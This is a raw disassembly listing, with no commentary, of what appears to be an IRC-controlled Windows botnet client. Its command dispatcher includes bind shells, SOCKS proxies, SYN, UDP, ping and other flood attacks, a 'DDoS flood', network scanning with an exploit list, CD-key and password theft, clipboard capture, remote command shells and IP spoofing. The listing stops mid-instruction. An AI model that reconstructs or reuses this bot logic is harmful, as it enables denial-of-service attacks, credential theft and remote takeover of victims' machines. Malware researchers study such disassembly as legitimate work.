sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_40277B add [ebp+arg_20], 0B8h inc edi cmp edi, ds:dword_43FA40 jl short loc_402755 jmp loc_4028E4 ; --------------------------------------------------------------------------- loc_40277B: ; CODE XREF: sub_401C87+ADDj push offset asc_43FEB8 ; " :" push [ebp+arg_0] call sub_41EBB0 pop ecx cmp eax, ebx pop ecx jz loc_4076C4 mov cl, ds:byte_43F098 imul edi, 0B8h mov [eax+2], cl mov cl, ds:byte_43F098 mov [eax+3], cl lea ecx, dword_455198[edi] push 9Fh add eax, 4 push ecx push eax call sub_41E510 lea eax, dword_455180[edi] add esp, 0Ch mov [ebp+arg_8], 0Fh mov [ebp+arg_20], eax lea edi, [ebp+esi+var_50] loc_4027D6: ; CODE XREF: sub_401C87+BF2j push [ebp+arg_8] lea eax, [ebp+var_A0] push offset aD ; "$%d-" push eax call sub_41EA60 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41EBB0 add esp, 14h test eax, eax jz short loc_402838 cmp [edi], ebx jz short loc_40283C push [ebp+arg_20] call sub_41BC70 add [ebp+var_C], eax pop ecx jz short loc_402870 push dword ptr [edi-4] push [ebp+var_C] call sub_41EBB0 pop ecx cmp eax, ebx pop ecx jz short loc_402870 push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4189CD add esp, 0Ch jmp short loc_402870 ; --------------------------------------------------------------------------- loc_402838: ; CODE XREF: sub_401C87+B77j cmp [edi], ebx jnz short loc_402870 loc_40283C: ; CODE XREF: sub_401C87+B7Bj lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41E510 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4189CD add esp, 18h loc_402870: ; CODE XREF: sub_401C87+B89j ; sub_401C87+B9Aj ... dec [ebp+arg_8] sub edi, 4 cmp [ebp+arg_8], ebx jg loc_4027D6 lea eax, [ebp+esi+var_50] mov [ebp+arg_8], 10h mov edi, eax loc_40288C: ; CODE XREF: sub_401C87+C51j push [ebp+arg_8] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41EA60 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41EBB0 add esp, 14h test eax, eax jz short loc_4028CF mov eax, [edi] cmp eax, ebx jz short loc_4028CF push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4189CD add esp, 0Ch loc_4028CF: ; CODE XREF: sub_401C87+C2Dj ; sub_401C87+C33j dec [ebp+arg_8] sub edi, 4 cmp [ebp+arg_8], ebx jg short loc_40288C mov [ebp+var_2C4], 1 loc_4028E4: ; CODE XREF: sub_401C87+AC1j ; sub_401C87+AEFj lea eax, [ebp+esi+var_90] mov edi, [eax] mov cl, [edi] cmp cl, ds:byte_43F098 jz short loc_402903 cmp [ebp+var_2C4], ebx jz loc_402AEC loc_402903: ; CODE XREF: sub_401C87+C6Ej push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_4189CD lea eax, [ebp+var_C0] push eax push offset aUser ; "$user" push edi call sub_4189CD push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_4189CD push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B38F push eax push offset aRndnick ; "$rndnick" push edi call sub_4189CD add esp, 40h push [ebp+arg_14] push offset aServer ; "$server" push edi call sub_4189CD mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41EBB0 add esp, 14h jmp loc_402A6E ; --------------------------------------------------------------------------- loc_40297A: ; CODE XREF: sub_401C87+DE9j push offset aChr_0 ; "$chr(" push [ebp+arg_0] call sub_41EBB0 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41E510 lea eax, [ebp+var_A0] push offset asc_43FEFE ; ")" push eax call sub_41F870 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_4029C2 cmp [ebp+var_A0], 39h jle short loc_4029D8 loc_4029C2: ; CODE XREF: sub_401C87+D30j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41E510 add esp, 0Ch loc_4029D8: ; CODE XREF: sub_401C87+D39j lea eax, [ebp+var_A0] push eax call sub_41E710 test eax, eax pop ecx jle short loc_4029FE lea eax, [ebp+var_A0] push eax call sub_41E710 pop ecx mov [ebp+var_94], al jmp short loc_402A12 ; --------------------------------------------------------------------------- loc_4029FE: ; CODE XREF: sub_401C87+D60j call sub_41EB70 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402A12: ; CODE XREF: sub_401C87+D75j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41BC70 mov [ebp+arg_8], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41E4B0 mov eax, [ebp+arg_8] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41E510 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_4189CD push edi push [ebp+arg_0] call sub_41EBB0 add esp, 30h loc_402A6E: ; CODE XREF: sub_401C87+CEEj test eax, eax jnz loc_40297A mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41E510 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41E510 lea eax, [ebp+var_4AF0] push offset asc_43FF04 ; " " push eax call sub_41F870 xor edi, edi add esp, 20h mov [ebp+var_90], eax inc edi loc_402ABC: ; CODE XREF: sub_401C87+E4Dj push 43FF06h push ebx call sub_41F870 mov [ebp+edi*4+var_90], eax inc edi pop ecx cmp edi, 20h pop ecx jl short loc_402ABC lea eax, [ebp+esi+var_90] mov ecx, [eax] cmp ecx, ebx jz loc_4076C4 add ecx, 3 mov [eax], ecx loc_402AEC: ; CODE XREF: sub_401C87+C76j mov edi, [eax] push edi push offset aRndnick_0 ; "rndnick" mov [ebp+arg_8], edi call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409A1A push edi push offset aRn ; "rn" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_409A1A push edi push offset aDie ; "die" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404BA2 push edi push offset aD_1 ; "d" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404BA2 push edi push offset aLogout ; "logout" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404B04 push edi push offset aLo ; "lo" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404B04 push edi push offset aVersion ; "version" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404AF5 push edi push offset aVer ; "ver" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404AF5 push edi push offset aDedication ; "dedication" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404AEB push edi push offset aDed ; "ded" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404AEB push edi push offset aSpeedtest ; "speedtest" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404AD2 push edi push offset aSt ; "st" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404AD2 push edi push offset aSecure ; "secure" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4049D5 push edi push offset aSec ; "sec" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4049D5 push edi push offset aUnsecure ; "unsecure" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4049D5 push edi push offset aUnsec ; "unsec" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4049D5 push edi push offset aBindshell ; "bindshell" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4048D0 push edi push offset aBd ; "bd" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4048D0 push edi push offset aBindshellstop ; "bindshellstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_402CAB push [ebp+esi+var_8C] push 6 push offset aServer_1 ; "Server" push offset dword_43FF9C loc_402C8F: ; CODE XREF: sub_401C87+1072j ; sub_401C87+1098j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B919 add esp, 20h jmp loc_4076C4 ; --------------------------------------------------------------------------- loc_402CAB: ; CODE XREF: sub_401C87+FF3j push edi push offset aSocks4 ; "socks4" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4047AF push edi push offset aS4 ; "s4" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4047AF push edi push offset aSocks4stop ; "socks4stop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_402CFB push [ebp+esi+var_8C] push 19h push offset aServer_2 ; "Server" push offset dword_43FFD0 jmp short loc_402C8F ; --------------------------------------------------------------------------- loc_402CFB: ; CODE XREF: sub_401C87+105Dj push edi push offset aRloginstop ; "rloginstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_402D24 push [ebp+esi+var_8C] push 9 push offset aServer_3 ; "Server" push offset dword_43FFF4 jmp loc_402C8F ; --------------------------------------------------------------------------- loc_402D24: ; CODE XREF: sub_401C87+1083j push edi push offset aHttpstop ; "httpstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_402D4D push [ebp+esi+var_8C] push 3 push offset aServer_4 ; "Server" push offset dword_440018 jmp loc_402C8F ; --------------------------------------------------------------------------- loc_402D4D: ; CODE XREF: sub_401C87+10ACj push edi push offset aLogstop ; "logstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_402D76 push [ebp+esi+var_8C] push 25h push offset aLogList ; "Log list" push offset dword_44003C jmp loc_402C8F ; --------------------------------------------------------------------------- loc_402D76: ; CODE XREF: sub_401C87+10D5j push edi push offset aRedirectstop ; "redirectstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_402D9F push [ebp+esi+var_8C] push 18h push offset aTcpRedirect ; "TCP redirect" push offset dword_440068 jmp loc_402C8F ; --------------------------------------------------------------------------- loc_402D9F: ; CODE XREF: sub_401C87+10FEj push edi push offset dword_440078 call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_402DC8 push [ebp+esi+var_8C] push 0Dh push offset dword_440084 push offset dword_440090 jmp loc_402C8F ; --------------------------------------------------------------------------- loc_402DC8: ; CODE XREF: sub_401C87+1127j push edi push offset aSynstop ; "synstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_402DF1 push [ebp+esi+var_8C] push 0Eh push offset aSynFlood ; "Syn flood" push offset dword_4400B0 jmp loc_402C8F ; --------------------------------------------------------------------------- loc_402DF1: ; CODE XREF: sub_401C87+1150j push edi push offset aSkysynstop ; "skysynstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_402E1A push [ebp+esi+var_8C] push 10h push offset aSkysynFlood ; "SkySyn flood" push offset dword_4400D8 jmp loc_402C8F ; --------------------------------------------------------------------------- loc_402E1A: ; CODE XREF: sub_401C87+1179j push edi push offset aTarga3stop ; "targa3stop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_402E43 push [ebp+esi+var_8C] push 11h push offset aTarga3Flood ; "Targa3 flood" push offset dword_440104 jmp loc_402C8F ; --------------------------------------------------------------------------- loc_402E43: ; CODE XREF: sub_401C87+11A2j push edi push offset aWonkstop ; "wonkstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_402E6C push [ebp+esi+var_8C] push 12h push offset aWonkFlood ; "Wonk flood" push offset dword_44012C jmp loc_402C8F ; --------------------------------------------------------------------------- loc_402E6C: ; CODE XREF: sub_401C87+11CBj push edi push offset aPacketstop ; "packetstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_402FC2 mov esi, [ebp+esi+var_8C] mov edi, [ebp+arg_4] push esi push 0Dh push offset aDdosFlood ; "DDoS flood" push offset dword_440150 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B919 push esi push 0Eh push offset dword_44015C push offset dword_440168 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B919 add esp, 40h push esi push 17h push offset dword_440174 push offset dword_440180 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B919 push esi push 16h push offset dword_44018C push offset dword_440198 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B919 add esp, 40h push esi push 11h push offset dword_4401A4 push offset dword_4401B4 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B919 push esi push 12h push offset dword_4401C4 push offset dword_4401D0 push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B919 add esp, 40h push esi push 0Fh push offset dword_4401DC push offset dword_4401EC push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B919 push esi push 13h push offset dword_4401FC push offset dword_44020C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B919 add esp, 40h push esi push 10h push offset dword_44021C push offset dword_44022C push 1 push [ebp+var_4] push [ebp+var_88] push edi call sub_40B919 push ebx push [ebp+var_4] push offset unk_44023C push [ebp+var_88] push edi call sub_409C75 add esp, 34h jmp loc_4076C4 ; --------------------------------------------------------------------------- loc_402FC2: ; CODE XREF: sub_401C87+11F4j push edi push offset aTsunamistop ; "tsunamistop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_402FEB push [ebp+esi+var_8C] push 0Fh push offset aTsunamiFlood ; "Tsunami flood" push offset dword_44028C jmp loc_402C8F ; --------------------------------------------------------------------------- loc_402FEB: ; CODE XREF: sub_401C87+134Aj push edi push offset aWisdomstop ; "wisdomstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_403014 push [ebp+esi+var_8C] push 13h push offset aWisdomAttack ; "Wisdom attack" push offset dword_4402B8 jmp loc_402C8F ; --------------------------------------------------------------------------- loc_403014: ; CODE XREF: sub_401C87+1373j push edi push offset aUdpstop ; "udpstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40303D push [ebp+esi+var_8C] push 17h push offset aUdpFlood ; "UDP flood" push offset dword_4402DC jmp loc_402C8F ; --------------------------------------------------------------------------- loc_40303D: ; CODE XREF: sub_401C87+139Cj push edi push offset aPingstop ; "pingstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_403066 push [ebp+esi+var_8C] push 16h push offset aPingFlood ; "Ping flood" push offset dword_440300 jmp loc_402C8F ; --------------------------------------------------------------------------- loc_403066: ; CODE XREF: sub_401C87+13C5j push edi push offset aTftpstop ; "tftpstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40308F push [ebp+esi+var_8C] push 5 push offset aServer_5 ; "Server" push offset dword_440320 jmp loc_402C8F ; --------------------------------------------------------------------------- loc_40308F: ; CODE XREF: sub_401C87+13EEj push edi push offset aFindfilestop ; "findfilestop" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404797 push edi push offset aFfstop ; "ffstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404797 push edi push offset aProcsstop ; "procsstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40477F push edi push offset aPsstop ; "psstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40477F push edi push offset aClonestop ; "clonestop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40310C push [ebp+esi+var_8C] push 1Fh push offset aClone ; "Clone" push offset dword_440370 jmp loc_402C8F ; --------------------------------------------------------------------------- loc_40310C: ; CODE XREF: sub_401C87+146Bj push edi push offset aSecurestop ; "securestop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_403135 push [ebp+esi+var_8C] push 22h push offset aSecure_1 ; "Secure" push offset dword_440394 jmp loc_402C8F ; --------------------------------------------------------------------------- loc_403135: ; CODE XREF: sub_401C87+1494j push edi push offset aScanstop ; "scanstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40315E push [ebp+esi+var_8C] push 0Bh push offset aScan_0 ; "Scan" push offset dword_4403B8 jmp loc_402C8F ; --------------------------------------------------------------------------- loc_40315E: ; CODE XREF: sub_401C87+14BDj push edi push offset aScanstats ; "scanstats" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404769 push edi push offset aStats ; "stats" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404769 push edi push offset aTransferstats ; "transferstats" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404753 push edi push offset aTrstats ; "trstats" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404753 push edi push offset aConnectbacksta ; "connectbackstats" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40473D push edi push offset aCbstats ; "cbstats" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40473D push edi push offset aExploitlist ; "exploitlist" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404727 push edi push offset aExplist ; "explist" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404727 push edi push offset aReconnect ; "reconnect" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404708 push edi push offset aR ; "r" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404708 push edi push offset aDisconnect ; "disconnect" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4046E6 push edi push offset aDc ; "dc" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4046E6 push edi push offset aQuit_0 ; "quit" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40469D push edi push offset aQ ; "q" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40469D push edi push offset aStatus ; "status" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40465F push edi push offset aS_0 ; "s" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40465F push edi push offset aId ; "id" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404628 push edi push offset aI ; "i" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404628 push edi push offset aReboot ; "reboot" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40332A call sub_418E8C test eax, eax mov eax, offset unk_440460 jnz short loc_4032FC mov eax, offset unk_440480 loc_4032FC: ; CODE XREF: sub_401C87+166Ej push eax lea eax, [ebp+var_2C0] push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 1Ch jmp loc_402593 ; --------------------------------------------------------------------------- loc_40332A: ; CODE XREF: sub_401C87+1660j push edi push offset aThreads ; "threads" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40453B push edi push offset aT ; "t" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40453B push edi push offset aAliases ; "aliases" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404518 push edi push offset aAl ; "al" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404518 push edi push offset aLog ; "log" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404429 push edi push offset aLg ; "lg" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404429 push edi push offset aClearlog ; "clearlog" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404410 push edi push offset aClg ; "clg" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404410 push edi push offset aNetinfo ; "netinfo" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4043D6 push edi push offset aNi ; "ni" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4043D6 push edi push offset aSysinfo ; "sysinfo" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4043AB push edi push offset aSi ; "si" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4043AB push edi push offset aRemove ; "remove" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404371 push edi push offset aRm ; "rm" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404371 push edi push offset aProcs ; "procs" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40424F push edi push offset aPs ; "ps" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40424F push edi push offset aGetcdkeys ; "getcdkeys" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404225 push edi push offset aKey ; "key" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404225 push edi push offset aUptime ; "uptime" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40419E push edi push offset aUp ; "up" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40419E push edi push offset aDriveinfo ; "driveinfo" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404181 push edi push offset aDrv ; "drv" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404181 push edi push offset aTestdlls ; "testdlls" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404168 push edi push offset aDll ; "dll" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404168 push edi push offset aOpencmd ; "opencmd" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404129 push edi push offset aOcmd ; "ocmd" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404129 push edi push offset aCmdstop ; "cmdstop" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_403575 push [ebp+esi+var_8C] push 0Ah push offset aRemoteShell ; "Remote shell" push offset dword_44056C jmp loc_402C8F ; --------------------------------------------------------------------------- loc_403575: ; CODE XREF: sub_401C87+18D4j push edi push offset dword_440578 call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_403692 cmp [ebp+var_8], ebx jnz short loc_4035A9 push ebx push [ebp+var_4] push offset dword_44057C push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 14h loc_4035A9: ; CODE XREF: sub_401C87+1906j mov eax, [ebp+arg_18] mov [ebp+arg_20], ebx mov [ebp+arg_18], eax jmp short loc_4035B7 ; --------------------------------------------------------------------------- loc_4035B4: ; CODE XREF: sub_401C87+197Cj mov eax, [ebp+arg_18] loc_4035B7: ; CODE XREF: sub_401C87+192Bj cmp [eax], bl jz short loc_4035BE inc eax jmp short loc_4035C3 ; --------------------------------------------------------------------------- loc_4035BE: ; CODE XREF: sub_401C87+1932j mov eax, offset dword_440590 loc_4035C3: ; CODE XREF: sub_401C87+1935j push eax lea eax, [ebp+var_2C0] push [ebp+arg_20] push offset dword_440598 push eax call sub_41EA60 push 1 lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add [ebp+arg_18], 80h add esp, 24h inc [ebp+arg_20] cmp [ebp+arg_20], 3 jl short loc_4035B4 push offset unk_4405A0 call sub_415A3C pop ecx loc_403610: ; CODE XREF: sub_401C87+1C0Bj ; sub_401C87+2F2Fj mov eax, [ebp+esi+var_8C] cmp eax, ebx mov [ebp+arg_10], eax jz loc_4076C4 push edi push offset aSpoof ; "spoof" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_404CC2 mov esi, [ebp+arg_10] push offset aOff ; "off" push esi call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_404BC8 lea eax, [ebp+var_2C0] push offset unk_4405D0 push eax mov ds:dword_4E676C, ebx call sub_41EA60 pop ecx pop ecx loc_403668: ; CODE XREF: sub_401C87+2FE2j ; sub_401C87+3008j ... cmp [ebp+var_8], ebx jnz loc_409A67 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 loc_40368A: ; CODE XREF: sub_401C87+7114j ; sub_401C87+7178j add esp, 14h jmp loc_409A67 ; --------------------------------------------------------------------------- loc_403692: ; CODE XREF: sub_401C87+18FDj push edi push offset aGetclip ; "getclip" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4040E8 push edi push offset aGc ; "gc" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4040E8 push edi push offset aFlusharp ; "flusharp" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4040CB push edi push offset aFarp ; "farp" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_4040CB push edi push offset aFlushdns ; "flushdns" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aFdns ; "fdns" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40408D push edi push offset aCurrentip ; "currentip" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404053 push edi push offset aCip ; "cip" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_404053 push edi push offset aRloginserver ; "rloginserver" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_403EF7 push edi push offset aRlogin ; "rlogin" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_403EF7 push edi push offset aHttpserver ; "httpserver" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_403D82 push edi push offset aHttp ; "http" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_403D82 push edi push offset aTftpserver ; "tftpserver" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_403C51 push edi push offset aTftp ; "tftp" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_403C51 push edi push offset aCrash ; "crash" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_40381E lea eax, [ebp+var_2C0] push offset dword_440684 push eax call sub_41EA60 cmp [ebp+var_8], ebx pop ecx pop ecx jnz short loc_4037FD push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 14h loc_4037FD: ; CODE XREF: sub_401C87+1B58j lea eax, [ebp+var_2C0] push eax call sub_415A3C mov [esp+10h+var_10], offset aCrash_0 ; "crash" push [ebp+esi+var_7C] call sub_41F7E0 jmp loc_402212 ; --------------------------------------------------------------------------- loc_40381E: ; CODE XREF: sub_401C87+1B40j push edi push offset aScanall ; "scanall" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40394D push edi push offset aSa ; "sa" call sub_41F7E0 pop ecx test eax, eax pop ecx jz loc_40394D push edi push offset aPhonehome ; "phonehome" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz short loc_403872 lea eax, [ebp+var_C0] push eax push offset aNoticeSPhoning ; "NOTICE %s :PHONING HOME: hi ;).\r\n" push [ebp+arg_4] call sub_409C2F jmp loc_4020E7 ; --------------------------------------------------------------------------- loc_403872: ; CODE XREF: sub_401C87+1BD0j push edi push offset aFindpass ; "findpass" call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_403898 push edi push offset aFp ; "fp" call sub_41F7E0 pop ecx test eax, eax pop ecx jnz loc_403610 loc_403898: ; CODE XREF: sub_401C87+1BFAj push [ebp+var_88] lea eax, [ebp+var_F54] push 80h push eax call sub_41EC30 mov eax, [ebp+arg_4] push offset unk_4406F4 mov [ebp+var_F58], eax mov eax, [ebp+var_4] mov [ebp+var_ED0], eax mov eax, [ebp+var_8] mov [ebp+var_ECC], eax lea eax, [ebp+var_2C0] push 200h push eax call sub_41EC30 push ebx lea eax, [ebp+var_2C0] push 26h push eax call sub_40B691 add esp, 24h mov [ebp+var_ED4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_F58] push ebx push eax push offset sub_41786C push ebx push ebx call ds:dword_4F5350 ; CreateThread mov ecx, [ebp+var_ED4] imul ecx, 234h cmp eax, ebx mov ds:dword_455F14[ecx], eax jnz short loc_403940 call ds:dword_4F5360 ; RtlGetLastWin32Error push eax push offset unk_44071C jmp loc_4085EB ; --------------------------------------------------------------------------- loc_403938: ; CODE XREF: sub_401C87+1CBFj push 32h call ds:dword_4F534C ; Sleep loc_403940: ; CODE XREF: sub_401C87+1C9Ej cmp [ebp+var_EC8], ebx jz short loc_403938 jmp loc_402593 ; --------------------------------------------------------------------------- loc_40394D: ; CODE XREF: sub_401C87+1BA6j ; sub_401C87+1BBBj mov al, ds:byte_448352 mov [ebp+arg_0], ebx cmp al, bl mov edx, offset byte_448352 jz loc_4076C4 mov ecx, edx loc_403964: ; CODE XREF: sub_401C87+1CE5j inc [ebp+arg_0] add ecx, 0Bh cmp [ecx], bl jnz short loc_403964 cmp al, bl jz loc_4076C4 mov [ebp+arg_18], edx mov esi, offset a2 ; "#2" loc_40397E: ; CODE XREF: sub_401C87+1FA3j push 0Bh call sub_40B8D3 pop ecx mov ecx, eax mov eax, 190h cdq idiv [ebp+arg_0] add eax, ecx cmp eax, 1F4h jle short loc_4039CD push ecx lea eax, [ebp+var_2C0] push offset unk_440758 push eax call sub_41EA60 push ebx lea eax, [ebp+var_2C0] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409C75 add esp, 20h jmp loc_403C21 ; --------------------------------------------------------------------------- loc_4039CD: ; CODE XREF: sub_401C87+1D11j or [ebp+var_730], 0FFFFFFFFh cmp ds:dword_4481F0, ebx mov [ebp+var_734], 64h mov [ebp+var_748], 5 mov [ebp+var_744], 320h mov [ebp+arg_0], ebx jz short loc_403A3E mov edi, offset dword_4481F0 loc_403A02: ; CODE XREF: sub_401C87+1D99j mov eax, [ebp+arg_18] add eax, 0FFFFFFF6h push eax lea eax, [edi-28h] push eax call sub_41F7E0 pop ecx test eax, eax pop ecx jz short loc_403A24 inc [ebp+arg_0] add edi, 40h cmp [edi], ebx jnz short loc_403A02 jmp short loc_403A3E ; --------------------------------------------------------------------------- loc_403A24: ; CODE XREF: sub_401C87+1D8Fj mov eax, [ebp+arg_0] mov ecx, eax mov [ebp+var_730], eax shl ecx, 6 mov ecx, ds:dword_4481F0[ecx] mov [ebp+var_74C], ecx loc_403A3E: ; CODE XREF: sub_401C87+1D74j ; sub_401C87+1D9Bj cmp [ebp+var_74C], ebx jz 